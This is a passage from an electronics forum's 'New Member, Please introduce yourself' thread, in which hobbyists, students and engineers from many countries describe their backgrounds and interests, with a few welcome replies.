    Will be getting an oscilloscope when the opportunity comes up (looking into one of those pocket oscilloscope from Amazon)
   
Open to any advice seeing as how I'm really just making this all up as I go along and trying not to cook myself in the process.
Title: Re: New Member, Please introduce yourself
Post by: Szumi on February 05, 2020, 10:29:23 pm
Played with electronics when I was a kid.  Spent four years in the USMC at the organizational level repairing radars in F4-j's back in the 70's. 
I've done a bit of relay logic back before PLC's.  Learned enough about PLC's to replace a bunch of forming press controls after a 1/2 day training session on the AB SLC500.

I currently work as a maintenance tech in a manufacturing facility that has robotics, cnc's, and plc based motion systems.  I'm pretty fair at general maintenance machining and troubleshooting automation.  Implemented some work cells using fanuc robots back when you programmed them in Karel.    Wrote programs in Clipper for the accounting and  manufacturing side back in the day.  I've had the chance to play with tech because I was the only one around at the time that understood it in the past.

I like photography, astronomy, and all things firearm related.

I ordered a Siglent SDS1104X-E yesterday.  Didn't care for the 5% price jump between yesterday morning and last night. 

I'm planning on getting a bit more into electronics than I have in the past.  Something to do to keep my mind active when I retire.

Title: Re: New Member, Please introduce yourself
Post by: lqqkout on February 14, 2020, 06:49:16 pm
Hi! I'm James, a long-time lurker and recent Patreon supporter - I'm mostly posting so that I don't get purged with other zero-post accounts.

I've taken apart electronics since I was a kid, failed at learning from an EE educational kit in middle school, and revisited the topic throughout my studies and career in IT. My background is data security and computer science and I'm currently a full-time "homeschool hacker dad" which has given me a lot more time to learn all of the EE topics I missed out on.

My most recent re-introduction to electronics came through the #badgelife community at Defcon and I've been respinning old badges, deciphering schematics, building BOM's, etc. My "Badgedolier" project was featured on Hackaday https://hackaday.com/2019/08/17/nfc-business-cards-to-fpga-cubes-skull-badges-to-bandoliers-heres-the-hardware-from-breakfast-at-def-con/ (https://hackaday.com/2019/08/17/nfc-business-cards-to-fpga-cubes-skull-badges-to-bandoliers-heres-the-hardware-from-breakfast-at-def-con/)

I'm excited to see the topics roll by and who knows, maybe I'll eventually have something more to contribute!

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: smorriso3 on February 15, 2020, 06:04:06 am
Hello, I am Steve. I'm an engineering student who is currently living in the Seattle area. I'm finishing my senior year in Electrical Engineering and right now, besides trying to pass my classes, I'm trying to find an internship. I'm in a fairly unusual position - I want to get as far away from the United States as possible. I'm a triple citizen - US, UK, Canada, though the UK one is in a bit a a flux now with the bullshit that is Brexit. Growing up I completed primary and secondary school in the USA, UK (Glasgow), and AUS (Townsville). To be frank - I would love to move back to the UK/AUS in a year to pursue an EE career if I could only find a serious offer for a company willing to take me. Obviously I'm pursuing good leads in the USA because there are great jobs here but I want to relocate. I'm a driving force in my regional IEEE student chapter with many offers at local public utility companies but I'm looking to get out of here! I'd seriously consider anybody in Sydney or elsewhere (UK, Canada, ???) that would like to initiate a conversation.

Academically - I'm finishing a second Bachelor's degree in Electrical engineering this year. I'm 35 and finished a management degree in 2008, in Hotel and restaurant management. Spent ten years working in kitchens. I'm a great cook but now I really have an edge above my fellow EE students as far as teamwork and management. I'm heavily engaged in mentorship and encouraging underclassmen/women to get engaged with organizations like IEEE.

Sounds too much like a coverletter! But thats me!
Title: Re: New Member, Please introduce yourself
Post by: bobtiki on February 16, 2020, 08:32:02 pm
Hello,

My name is Mark Boszko, and I'm … a tinkerer, I guess? I learned some electronics from the Forrest M. Mims book as Radio Shack when I was a kid, and I've kinda stumbled my way through learning what I need to know to do various projects over the years, as I try to learn animatronics, LED animation, smoke generation, etc., usually in service to a themed environment, film, theatre, home automation, or cosplay project. Arduinos and Raspberry Pis often play a large part.

I also have recently started repairing and hacking old synthesizers and game boys for some fun music projects.

Cheers!
Mark
Title: Re: New Member, Please introduce yourself
Post by: michalwu on February 20, 2020, 01:56:27 pm
Hi there
Name's Mike.
I have been tinkering all my life. Last 10 years gone with kids and kinda normal life. Now want to go back to my passion.
Not active ham, 3d printing enthusiast, RF and radio lover.
Title: Re: New Member, Please introduce yourself
Post by: Polym0rphed on February 22, 2020, 02:44:36 am
Greetings and salutations! Hailing from Melbourne, Australia, I am completely new to electronics (and STEM subjects in general). Unfortunately (in retrospect), I managed to get through the entirety of my schooling without really ever learning math properly (I did almost everything in my head [my own way]), so I'm finding that side of this mysterious new realm quite overwhelming.

I found my way here via a YouTube journey - Dave makes sitting through any topic entertaining and sometimes even if I don't learn anything, I still consider it time well spent! Absolute legend!


I've heard good things about the book Practical Electronics for Inventors, which I may procure as soon as I'm out of financial hardship (neck injury).

I'm almost 100% interested in applying what I learn to Professional Audio (if not for some consumer/prosumer audiophile exceptions).

I appreciate that there are a lot of fundamental that are unavoidably paramount and that some of these, if not all, will be more general in nature. I'm definitely more of a 'concept first, "the how" later' kind of learner.




Cheers!
Title: Re: New Member, Please introduce yourself
Post by: angrybird on February 26, 2020, 07:17:06 pm
I like birdwatching.

I move around a lot.

Puerto Rico is a little too humid for me.

I once saw two squirrels fighting in a tree; both fell at the same time, and continued the fight in midair and continued it on the ground after they landed with an amazing THWACK.  Since this time, I have always avoided confrontations with squirrels whenever possible.
Title: Re: New Member, Please introduce yourself
Post by: wizard69 on March 24, 2020, 11:40:07 am
This is probably a bit late but stuck at home with nothing to do.    I'm an old fart automation technician that had a bit of interest in electronics in my youth but only sparsely apply that knowledge to work these days.    Thus half my interest here is to find all those old memory cells.
Title: Re: New Member, Please introduce yourself
Post by: Simon_RL on March 25, 2020, 06:33:43 pm
Hi All,
I am a relative newb to electronics, although I do a cert 4 when I first left school, but that is so long ago I barely remember anything.

My background is IT both project and operations and I have solid programming knowledge in C/C++.

I have gotten into electronics through my other hobby Astronomy/Astrophotography and a desire to build things for my gear. I find now I have fallen a rabbit hole and am lost in the warren of electronics  :-DD. Having never being accused of doing things by half I find myself diving head long into maths and electronics theory. I have also purchased AOE and am working my way through this fantastic book to gain a more practical perspective of electronics.

Would also like to say a huge thanks to Dave for creating a blog that is such a fantastic resource that is very entertaining. Also this forum is brilliant and am astounded by the level of people’s knowledge and willingness to share information.
Title: Re: New Member, Please introduce yourself
Post by: datsuncogs on March 28, 2020, 01:49:35 am
Hi all, classic car enthusiast here from Sussex UK , i am also interested in electric vehicles, solar power, off grid systems, analogue synthesisers, old tape recorders and other gear that I like to try and rescue. I am better with mechanical restoration , and electrics than I am with electronic circuits and digital stuff. 

I am currently trying to reset a DJI drone battery that has shut itself down. Hope to find some answers here.
Title: Re: New Member, Please introduce yourself
Post by: toby10ant on April 02, 2020, 03:05:32 pm
Hi, My name is Toby, currently work testing transceivers for the Oneweb LEO satellite suppplied by Teledyne.

Looking forward to learning and discovering new things.

Thanks, Toby
Title: Re: New Member, Please introduce yourself
Post by: gorge441 on April 05, 2020, 05:28:37 am
Hello! mate
I am from Hessen, Laubach, Germany. I am new here. I expecting to get future support from this community.
Title: Re: New Member, Please introduce yourself
Post by: spongella on April 05, 2020, 11:15:22 am
Hello everyone hope you are all well.  60+ year tinkerer of anything electronic or mechanical, ham op, longwave, mediumwave, shortwave listener, vhf/uhf listener, CB, GMRS, OTA, FTA, radio restoration, alignment, test gear, free-lance writer. Had more radios than socks.  Glad to be here with all those with similar interests. This is one great site from all the posts I've read.
Title: Re: New Member, Please introduce yourself
Post by: ocom on April 07, 2020, 04:51:39 am
Hi all,

I introduce myself, Yohan, 30 years since today, I live in France :) I am the manager of a company specialized in the field of radios and telecommunications. The radio world has fascinated me since my adolescence;). It's been a long time since I read your messages on the forum but I never signed up, it's done now.

thank you
Title: Re: New Member, Please introduce yourself
Post by: kleiner Rainer on April 07, 2020, 03:51:10 pm
New member here: Rainer, keeping the solder flowing for 50 years, 33 of them as a design engineer, and over 25 years as a ham (DG1SMD).
My job is about mixed signal and embedded systems, EMC and standards organisations (DIN, IEC).

My main interests are ham radio (esp antenna building), restoring and using old measurement equipment and computers, audio recording and generally analyzing and repairing stuff.

Greetings,

Rainer


Title: Re: New Member, Please introduce yourself
Post by: GilgaFrank on April 08, 2020, 06:26:21 pm
Hello EEVFolk, greetings from sunny Stockport in the UK. Followed Dave on Youtube for ages so I thought I should sign up for the lively discussion on the forum here. I like audio synthesis, DSP stuff, vacuum tube stuff, late nights spent staring at an IDE with a can of energy drink and the music of Motorhead. That's Lemmy, Phil and Eddie Motorhead, not the Motorhead tribute acts Lemmy organised after Eddie left.
Title: Re: New Member, Please introduce yourself
Post by: 6h8c on April 12, 2020, 01:00:42 pm
Hi. My name is Olek. In my free time I repair old systems. I mainly concern myself with old tube audio-video-TV gear.
I lack the space for what I have already accumulated and I guess I'll never stop buying.
Title: Re: New Member, Please introduce yourself
Post by: 3DA502 on April 13, 2020, 06:06:33 am
 :) hello everyone ,I am a Chinese engerneer
Title: Re: New Member, Please introduce yourself
Post by: jmh on April 13, 2020, 09:57:43 am
Hello all

I’ve fiddled with electronics my whole life since taking a valve to school and lighting the filament from a Lego battery box when I was about 6. My grandfather sparked my interest by explaining the difference between AC and DC. When I started work in 1977 I worked on the maintenance of x-ray generators and electron microscopes and all sorts of associated equipment, eventually building and programming an 8080-based microcontroller out of chips and wire-wrap to log data from an x-ray diffractometer. Lots of boring stuff happened after that, like getting to fiddle with mainframes, mini computers and early PCs but I left the actual electronics ‘doing’  behind, progressed through the web into law and retired in 2018. So I’m back fiddling, this time mostly around the Raspberry Pi and also building radio stuff. I was always into amateur radio but never licensed until 2017. I spent a few teen years fiddling about with teleprinters, eventually buying, repairing and selling on Creed 7E machines for pocket money while I was at school. I now have a Creed 444 to fix. Also into model railways and DCC, and real railways as I volunteer on a heritage line in S&T. That is a result of my lifelong interest in telegraphy. Funny how things come round. Anyway, enough rambling!

Jeremy
Title: Re: New Member, Please introduce yourself
Post by: mdkendall on April 13, 2020, 10:08:36 pm
Hello everyone, I am Matthew from Vancouver, BC, Canada. I have been registered here for many years but not posted much, mainly lurking. I am an engineer mainly doing product development work, particularly RF.
Title: Re: New Member, Please introduce yourself
Post by: homepoochie on April 16, 2020, 01:30:41 pm
Hi, I'm Poochie from the Philippines, 35 y/o and an Electrical Engineer.
Title: Re: New Member, Please introduce yourself
Post by: Alphaprot on April 17, 2020, 05:26:39 pm
Hey there, I'm Yannik - currently quarantined in Germany (I happen to live here, too). 18yo with interest in electronics engineering (which is 99.5% what I'll study once I finish school). Hobbies include a bit of homelabbing (I'm not really into programming though, I can code, but it's far away from being my favourite activity).
Title: Re: New Member, Please introduce yourself
Post by: hannobisschoff on April 18, 2020, 02:32:34 pm
Hi guys, Hanno here from South Africa. Junior Electrical engineer and looong time fan of the Eevblog. Cheers!
Title: Re: New Member, Please introduce yourself
Post by: duckduck on April 18, 2020, 09:25:49 pm
Hello, I'm a long time fan of Dave's EEVBlog videos. Interested in simple electronics for past 30 years. Reading this forum has made we want to learn more.

Interests:

Looking forward to learning more and sharing what I learn.

 - duckduck
Title: Re: New Member, Please introduce yourself
Post by: Gerken on April 26, 2020, 11:13:03 am
G'day,

Luke here. I am just starting to get into all things electronics, with no specific areas of interest. I have a general knowledge but just want more!
I have always been interested in how things work and throw nothing away without tearing it down first. I recently purchased an Arduino but was not satisfied with the high Level programming, and plug n play shields, that just magically work. I wanted to know more about what was going on in the background. This lead me to purchase an Attiny85, so I can learn as much as I can with out being overwhelmed with an excessive amount of peripherals. Currently I am working on a Digital Music box in Assembly, using as many features of the chip as I can.

I certainly don't have the knowledge to give any form of answer on here, but will have a few questions along the way.
Title: Re: New Member, Please introduce yourself
Post by: seatsniffer on April 26, 2020, 11:23:25 pm
Hello everyone. I'm a physicist that ended up taking the plunge and going more into engineering. I used to work doing R&D with optical equipment for telecoms applications and later on some LIDAR as well (lots of analogue and digital electronics but also wafer level stuff). Now I do research with thermoelectrics (bulk and thin film) and the effects of thermals on PV systems (cell and panel level).

Ive been a big fan of the youtube channel for a long time and finally joined the forum recently.
Title: Re: New Member, Please introduce yourself
Post by: tonyalbus on April 29, 2020, 02:00:20 pm
Hello Tony from The Netherlands,

Worked in electronics, telecom, wireless telecom.
Licensed radio ammature
Now work in IT but just getting back to electronics and now collecting the devices on (2nd hand) ebay i always wanted when i was young.
love the EEVblog.

Title: Re: New Member, Please introduce yourself
Post by: BB3553AM on May 01, 2020, 10:11:45 am
hi all,

My name is Mike, established in Paris, France. I'm analog IC design engineer with 12 years of seniority, currently working on advanced imaging topics.

I came across this forum when searching multimeter reviews for my next buy and I found serious people, I'm happy to join you.

Title: Re: New Member, Please introduce yourself
Post by: tpecar on May 03, 2020, 02:26:34 pm
Hi, I figured that it would be appropriate to introduce myself before I start nagging you all with silly questions.

My name is Tadej, 24, from Slovenia, currently (still, haha) doing my undergraduate studies in CS. Till now I've been dealing mostly with software, but I have always been interested in electronics, and in the last couple of years my work has shifted to embedded software with a smidgen of FPGA design.

I've dabbled in hardware design from a software guy's perspective (that is, I limited myself to the digital domain), but I got tired of 1's and 0's :)

I have to admit that, at the time of writing, I'm really not that proficient in EE theory and would need to brush up even some of the fundamentals, but I'm quite content with being RTFM'd as long as you point me to the M in question.

My interests, which I hope will also become my hobbies, are analog synthesizers and ham radio.
Title: Re: New Member, Please introduce yourself
Post by: Zeitungsjunge on May 04, 2020, 03:31:55 pm
I'm Marco from Switzerland. Did an apprenticeship (4 Years, 50% school, 50% practical) in electronics (got my diploma 1997).

Worked in different places in electronics and informatics since then. Worked in R&D for precission laboratory scales, as electronics specialist for brain researchers, built high performance gaming PCs, serviced medical and dental devices, built, tested and serviced controlers for industrial machines (mainly steel pipe production) and am now making sure that coffee machines can be produced and tested.

I know a little bit about everything but not too much about anything. So there will alsways be someone who knows better :)

Ok yes, and I like to scroll trough kickstarter to find the most ridiculous stuff on there  :-//
Title: Re: New Member, Please introduce yourself
Post by: stoli0 on May 06, 2020, 07:22:57 am
Hobbyist electronic instrument builder here, hello everyone from Seattle!  I have a CS background, dabbled in electronics in college but I didn't catch the bug until 20 years later, when I started to build synthesizer kits.

Been lurking for years, and enjoying this forum as a resource for learning.
Title: Re: New Member, Please introduce yourself
Post by: Sapsford55 on May 08, 2020, 10:01:33 pm
Hi I am David (Sapo),
My background is medical, and hobbyist electronics; however as a senior lecturer (I am pretty long in the tooth) I had the opportunity to design biopotential amplifiers (EEG not as easy as it looks in a noisy environment, try measuring microvolt signals when the surgeon using diathermy/cautery, is applying hundreds of volts to fry your signal source), "pain machines" a form of high voltage constant current device (with sample hold for measuring peak current) used on rat tails and human pain threshold experiments, automated experiments using microcontrollers, and mass spectrometer interfaces (bringing 70/80's tech into the 90/00's.
I thank Horowitz & Hill for my education, plus all the technicians and fellow academics I have worked with (No formal electronics education!).
This is a great blog I hope to learn from all your experience.
Thanks
Title: Re: New Member, Please introduce yourself
Post by: tautech on May 08, 2020, 11:11:46 pm
Hi I am David (Sapo),
My background is medical, and hobbyist electronics; however as a senior lecturer (I am pretty long in the tooth) I had the opportunity to design biopotential amplifiers (EEG not as easy as it looks in a noisy environment, try measuring microvolt signals when the surgeon using diathermy/cautery, is applying hundreds of volts to fry your signal source), "pain machines" a form of high voltage constant current device (with sample hold for measuring peak current) used on rat tails and human pain threshold experiments, automated experiments using microcontrollers, and mass spectrometer interfaces (bringing 70/80's tech into the 90/00's.
I thank Horowitz & Hill for my education, plus all the technicians and fellow academics I have worked with (No formal electronics education!).
This is a great blog I hope to learn from all your experience.
Thanks
Welcome aboard Dr David.  ;)
Title: Re: New Member, Please introduce yourself
Post by: bobkat on May 12, 2020, 05:16:28 am
Bob from the States,

Hi everyone! My background has always been electronics, I remember taking everything I owned, that had anything to do with electronics, and pulling it apart; literally pulling it apart. I never put anything back together, just wanted to see what it was made of and how it worked, lol.

Since then I've studied electronics in the military, worked within research and development companies mostly. Now it's just a hobby, I tinker around with modeling, Arduino and computers.

This seems like a great place to pick someones brain, so I may reach out to some of you in the near future........

Thanks,
-Bob
Title: Re: New Member, Please introduce yourself
Post by: greg177 on May 23, 2020, 11:41:01 am
Hi Folks,

I'm Greg, I'm 28 and from the Isle of Man. Over the past few years I've been working in Ireland as a hardware design engineer within the automotive industry, and most recently as an evaluation engineer within the field of Ultra-Wideband semiconductors.

I've been a fan of the EEVBlog videos since the early days, they've been really insightful and are always a pleasure to watch, a great laugh on occasions too!

See you in the forums :)
Title: Re: New Member, Please introduce yourself
Post by: legroeder2k on May 28, 2020, 03:19:33 pm
Hi folks,

I'm Sascha, 36 years old and from Hamburg, Germany. My day job is in the IT business doing administration / development and project steering.
In my spare time I like to do stuff with electronics (AVR/ARM projects, ...), woodworking and things related to astronomy like playing KSP or doing astrophotography and simply enjoing family life.  :)

I've been watching the EEVblog videos since the beginning but never really came arcoss the forum since today.

See you!
Title: Re: New Member, Please introduce yourself
Post by: NanoHawk on May 30, 2020, 10:17:57 pm
Howdy from Texas,
   My name is Brian and I've been around electronics since as long as I could remember.  My dad used to work on old TV's at home and that's my earliest memory in the 1970's.  He did electronics for the military for a career.

   I have a B.S in Information Systems, hold an Amateur Extra Class rating, and have done a few open source hardware projects, mainly Arduino-Centric.  TinyTimer Kickstarter edition was probably the most complicated thing I'v designed and built.  It's essentially a single channel PLC with a rudimentary interface.
(https://i1.wp.com/www.nanohawk.com/wp-content/uploads/2013/08/ttks-pcb.png?resize=300%2C282&ssl=1)

  Biggest lesson learned?  Real Estate costs money.  Keep things small to manage costs.

  I was designing on Eagle until Autodesk bought it..... I've since moved over to KiCad and am working on a NodeMCU based IOT project.  I'm at the very early stages and in the process of rebuilding my work bench.  After TinyTimer I took a hiatus and changed out the house I was living in.  (Sold one house, bought another and remodeled it).  That took way longer than expected.

  I'm on here in hopes to learn more about circuit design and to encourage others along this path of dark arts.  I always feel like I stumble through my projects looking everything up as I go.

  I greatly enjoy Dave's YouTube videos btw.  :) 
Title: Re: New Member, Please introduce yourself
Post by: pidcon on June 01, 2020, 04:45:47 am
Hi. I am David from Malaysia. I studied electronics engineering when I was a university student, but only had a short career in the industry. I am a lecturer and I joined this forum to learn more from like-minded people interested in EE. Electronics is more of a hobby for me nowadays. Learning from Dave's EEVBlog Youtube channel, and other internet sources keep me up to date in a way. I hope to chat more with you guys on EE matters.

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Shiv on June 15, 2020, 10:59:48 am
UPS... I´d made a thread :-[

Hello people.
Let me introduce myself:
I am an electronics technician, working in the metrology & calibration department of the national institute of aerospace technique (Spain)

I´m also a electronics & R/C freak (Arduino, Raspberry, flying wing, FPV drones, helicopter,....)

I've been following the forum for a while, but I had never registered.

If I can help someone with manuals, calibration sheets, specifications or anything useful, please let me know.

Greetings and thanks for the forum.
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Title: Re: New Member, Please introduce yourself
Post by: nattybyrne on June 18, 2020, 10:35:39 pm
HI, I am from South Australia, studying Electronics Engineering at TAFE.
Title: Re: New Member, Please introduce yourself
Post by: CharlotteSwiss on June 19, 2020, 10:04:19 am
Hello, I'm Charlotte and I live in Switzerland  :)
I work in the hospital, but my hobby is electronics; i try to repair electrical devices, 99% of the time I don't solve the problem, but that's okay
 ^-^
Women usually read gossip magazines  :-//
but there are women who prefer to make love with electrons  ^-^
My equipment is: soldering station, two multimeters, bench power supply.
I'd like to start a seductive relationship with an oscilloscope..   :palm:
I will ask shortly in the right section of the forum
Charlotte  ^-^
Title: Re: New Member, Please introduce yourself
Post by: Fox_Alex on June 23, 2020, 12:47:11 am
Hello! I`m Alexander, from Saint-Petersburg, Russia.
I`m an engineer in scientific electronics development. Especially X-ray and spectrometry systems.

Interested and skilled in all kinds of electronics - from picoseconds and kilovolts to gigabits and kilowatts)
Also I`m a moto-traveller, hacker and DIY-man)

Looking for new friends from all ower the world to talk about ewerything!
Title: Re: New Member, Please introduce yourself
Post by: sean_o on June 24, 2020, 07:11:13 pm
Hello,

I'm Seán, an electronics engineer from Ireland, working in the automotive industry.

Thanks,
Seán
Title: Re: New Member, Please introduce yourself
Post by: bin_liu on June 26, 2020, 03:03:00 pm
Hello,everyone
I'm bin_liu, i'm an engineer in electronics development. from china.
working in power & Renewable Energy,UPS is things I often touch.
in guangdong(shenzhen/dongguan).
my English is not good,hope to learn more here. ;)
Title: Re: New Member, Please introduce yourself
Post by: nixon on June 30, 2020, 05:58:29 pm
Hello , I am Nixon I am an engineering student in computer science. I want to pursue building and working on robots not decided the specific kind of robot, but i love exploring this field. I came accross the channel recently and as i am interested in building things and proggramming them i also explore electronic stuff and i have gained some useful knowledge from EEVBlog. so yeah  :)
Title: Re: New Member, Please introduce yourself
Post by: dnhkng on July 01, 2020, 06:12:15 pm
Dave here, I build stuff!
Title: Re: New Member, Please introduce yourself
Post by: AlexJackson on July 03, 2020, 06:45:04 pm
I originally wrote a quick into about my "experience", but deleted it. Blah blah blah...

Hello, I'm Alex and I'm a new member on the EEVBlog forums. Long time lurker/reader/viewer.
Title: Re: New Member, Please introduce yourself
Post by: old-jo on July 08, 2020, 05:35:54 pm
Hi everbody, I am Joshua from Indonesia. I am a hobbyist. I've been reading this forum for some time now, but only signed up just now.
Title: Re: New Member, Please introduce yourself
Post by: gorge441 on July 09, 2020, 07:57:56 am
Hi everbody, I am Joshua from Indonesia. I am a hobbyist. I've been reading this forum for some time now, but only signed up just now.
Welcome to eev family! We're glad to have you on board.
Title: Re: New Member, Please introduce yourself
Post by: gorge441 on July 12, 2020, 11:16:41 am
Welcome to the EEV family @mttee2.
Title: Re: New Member, Please introduce yourself
Post by: samadamsuk on July 12, 2020, 09:33:50 pm
Hi All,

Sam here - I'm from the UK. I am completely at the starting blocks with electronics! I had a couple of books since I was a kid, kept diving into them every decade then finding the math too hard/not intuitive. I finally overcame this a week or so ago by simulide for Linux and plotting out 555 timer/resistance capacitor circuits then peppering them with virtual voltmeters and amperemeters to work out what was going on. So here I am! I'm mindful that to stay interested I need to find projects that have some real world use for me, and so being an ammeter weather geek, I slowly want to flesh out a DIY weather station that can report via a html page connected to wifi.
Not really interested in using pre made circuits/Arduino etc - any advice on where to start/how to think & structure what I'm doing would be very welcome! :)

Sam
Title: Re: New Member, Please introduce yourself
Post by: sigma440 on July 14, 2020, 10:17:24 am
Greetings everyone!

My name's Ben and I'm currently in lovely southeastern Michigan, USA. Haven't had any formal training in electronics since a single semester of ECE about 10 years ago, but I tinker a bit and enjoy learning. I've actually been browsing this forum for a while now and it's been quite a valuable source of interesting info on all things electronic. I realized that I never actually made a profile so I decided it was high time to correct that.

Good to be here!
Title: Re: New Member, Please introduce yourself
Post by: samadamsuk on July 18, 2020, 03:53:23 pm
Welcome! :)
Title: Re: New Member, Please introduce yourself
Post by: CoolePascal on July 20, 2020, 12:17:10 pm
Hi from the south of the Netherlands,  background in aviation, ict (unix/linux) and currently embedded engineer.
Fond of fpga's, microcontrollers, dsp, sdr and playing a whole bunch of musical instruments.
Being a licenced ham on this forum is probarly common.
Title: Re: New Member, Please introduce yourself
Post by: mario5000 on July 20, 2020, 02:29:49 pm
Hello from Greece. My name is Mario i'm Electronics Eng. but i work as a Technician (here in Greece the things are difficult) over 4years and i repair usually boards from consuming devices like washing machines, refrigerators, air conditions and some times cellphones, pc, tablets, etc. I start as enthusiast at the age of 7? (cannot remember) when i made my first circuit.
Title: Re: New Member, Please introduce yourself
Post by: stefan_trekkie on July 20, 2020, 06:55:12 pm
 :scared:
Hello from Greece. My name is Mario i'm Electronics Eng. but i work as a Technician (here in Greece the things are difficult) over 4years and i repair usually boards from consuming devices like washing machines, refrigerators, air conditions and some times cellphones, pc, tablets, etc. I start as enthusiast at the age of 7? (cannot remember) when i made my first circuit.

Hello neighbor. Similar here. The curious thing is that i was for some time in Greece company, working on automation, plcs, industrial stuff .. But they had taken the machines back to Greece last year. After that i had information that they need more people for the same machines and had offer me to go there.. 500 km, it's not that long of a ride.. But stupid me  :-//
Title: Re: New Member, Please introduce yourself
Post by: blackbird on July 21, 2020, 12:13:31 pm
Hi from the south of the Netherlands,  background in aviation, ict (unix/linux) and currently embedded engineer.
Fond of fpga's, microcontrollers, dsp, sdr and playing a whole bunch of musical instruments.
Being a licenced ham on this forum is probarly common.

Welcome on this forum Pascal. Apart from playing musical instruments my background is comparable to yours, i.e. aviation, unix/linux, embedded engineer and ham.... ;)
Title: Re: New Member, Please introduce yourself
Post by: EngineerTheVoid on July 22, 2020, 07:18:43 pm
Hello everyone! My name is Kyle and I'm from Los Angeles, CA. 

I am currently studying Electrical Engineering at a local university.  I have work experience and a deep interest in control systems and industrial automation.  I also mess around with programming, 3D printing, Raspberry Pi's and computers. 

I look forward to meeting you all and learning even more!  :-+
Title: Re: New Member, Please introduce yourself
Post by: abumbalough21 on July 22, 2020, 08:40:52 pm
Hi everyone, my name's Austin! I live in the U.S. and I'm a senior EE student at the University of Alabama in Huntsville. I'm passionate about music, having played drums since I was 10 years old, and tinkering with audio gear is what got me interested in electronics. I hope to one day work for an audio electronics company doing hardware design and maybe even write some embedded firmware while I'm at it. My other interests include reading about psychedelia, discovering new music, playing disc golf, and linux computing.

Feel free to reach me on the web at my personal site, https://austin.bumbalough.xyz (https://austin.bumbalough.xyz)
Title: Re: New Member, Please introduce yourself
Post by: MuhScopeBroke on July 24, 2020, 05:53:11 pm
Hello EEVblog, just an EE student look to observe our odd engineering community. General Chat is crazy to read so I needed an account to add to the chaos  :bullshit: :bullshit: :bullshit:
Title: Re: New Member, Please introduce yourself
Post by: gorge441 on July 25, 2020, 11:21:55 am
Warm welcome...
Title: Re: New Member, Please introduce yourself
Post by: NinoScript on July 27, 2020, 05:28:01 am
Hello! I'm Cristián, I live in Chile, I have a degree in Computer Engineering, but I have not worked with electronics since college.
All my jobs have been in Software Engineering, but now I want to get back to electronics, at least as a hobby.

The most exciting electronics projects I've done in the past have been:

I don't really remember the math nor the electronics well enough to build these projects again (except for the software parts), so my current goal is to replicate those projects before I move on to new things.
Title: Re: New Member, Please introduce yourself
Post by: ZoeScott on July 27, 2020, 11:22:06 am
hey there, I'm also new, just planning to become ee student, wanna observe threads in here and join some discussions, probably))
Title: Re: New Member, Please introduce yourself
Post by: leet on July 27, 2020, 03:44:18 pm
Hello, I'm Mustapha, a semi retired Electronics Design Engineer after 25+ years in the business.
Located in Kualulumpur.
Title: Re: New Member, Please introduce yourself
Post by: gorge441 on July 28, 2020, 06:50:42 pm
Welcome to the community guys.
Nice to meet you.
Title: Re: New Member, Please introduce yourself
Post by: yasha02 on July 29, 2020, 05:02:49 am
Hello, I am Yasha from SF. Here is the link to my site https://scientificthinking.org/
Title: Re: New Member, Please introduce yourself
Post by: chinoy on August 12, 2020, 08:56:20 pm
I am Ron Chinoy from Bangalore India.
I build automotive digital Ignitions and AFR meters.

Electronics started out as a hobby. 20 year back.
Title: Re: New Member, Please introduce yourself
Post by: entroqy on August 19, 2020, 04:10:49 am
Yo...
I'm G, currently an electrical engineering student at CSUS.
For now just learning it all, no specialty yet.
Nice to meet you.
Title: Re: New Member, Please introduce yourself
Post by: WildCamper on August 21, 2020, 09:24:57 am
Hi, i'm Tobey and im from the Lake District, England.

I'm purely a hobbyist (I work with wood as a day job) at electronics who is returning after a large break.
My current project is a mechanical keyboard build (Lily58PRO) so i've had to learn all about SMD work as all my old projects were THT stuff. I went looking on the font of all knowledge (Youtube  ;) ) and discovered Dave and his amazing channel. Naturally i had to join this forum after seeing some of his stuff!
Only known about the guy for a few days and im already a fanboy haha

I recently assembled my 1st SMD practise kit with variable quality results so would like to practise more before the main event but otherwise i think i get the gist (big thanks to EEVBLOG for this)

Anyway, thanks for having me!
Tobey

p.s Spent last Friday teaching my 13yr old son how to solder so getting the next gen into it too!

Title: Re: New Member, Please introduce yourself
Post by: alexnoot on August 25, 2020, 06:27:14 pm
Hey everyone, Alex here.

I'm an electrician, but I love everything techy, especially if it can be taken apart and played around with. I have a general knowledge about electronics, but I want to learn more and expand my horizon!
Title: Re: New Member, Please introduce yourself
Post by: crj.guy on September 02, 2020, 08:34:53 am
Hello to the EEVBlog community.  I'm the FNG here, Im located in Arizona and I'm an Aircraft Mechanic with a love of electronics.  I live for avionic issues on my planes.  Anyway I have a question for anyone who can help me.  I have a mini electronics lab at my home all with used equipment but fully functional, I have an Agilent 54622a oscilloscope and a Fluke 8845a DMM.  The DMM is what brings me here, I want to replace the display as its brightness is poor and its very burnt in.  As i said all my gear is old and very used but functional and accurate.  So is there a new display out there I can buy and install?  Also do you guy's have any recommendations of other parts I should replace in my Fluke, I figure since i'm going for a deep dive I might as well do as much as I can to give it a new lease on life.

Thanks everyone for your help.
Title: Re: New Member, Please introduce yourself
Post by: tautech on September 02, 2020, 09:07:22 am
Hello to the EEVBlog community.  I'm the FNG here, Im located in Arizona and I'm an Aircraft Mechanic with a love of electronics.  I live for avionic issues on my planes.  Anyway I have a question for anyone who can help me.  I have a mini electronics lab at my home all with used equipment but fully functional, I have an Agilent 54622a oscilloscope and a Fluke 8845a DMM.  The DMM is what brings me here, I want to replace the display as its brightness is poor and its very burnt in.  As i said all my gear is old and very used but functional and accurate.  So is there a new display out there I can buy and install?  Also do you guy's have any recommendations of other parts I should replace in my Fluke, I figure since i'm going for a deep dive I might as well do as much as I can to give it a new lease on life.

Thanks everyone for your help.
Welcome to the forum.

Use the Search button (not the box) and drop Fluke 8845a into the search field and you'll get plenty of hits of threads on their repair.
Good hunting and luck.
Title: Re: New Member, Please introduce yourself
Post by: godmodder on September 02, 2020, 02:04:53 pm
Hi! I'm Jeroen from Belgium and I enjoy learning about electronics. I'm a computer scientist, but hope to broaden my horizons a bit with some hardware knowledge  :)
Title: Re: New Member, Please introduce yourself
Post by: dongeo on September 05, 2020, 08:49:55 am
Hello everyone! I'm Donald, from the UK, I've just got started with electronics, and I'm primarily interested in playing around with junk, and making things useful that others have thrown away.

So I've got a load of motors and things that I'm not quite sure what I'm going to do with, but they sure do look cool when they're spinning.
Title: Re: New Member, Please introduce yourself
Post by: Ahura Mazda on September 23, 2020, 10:51:20 pm
Hi. electronics student. Saying hi but also testing posting since it seems I'm unable to create new thread.
Title: Re: New Member, Please introduce yourself
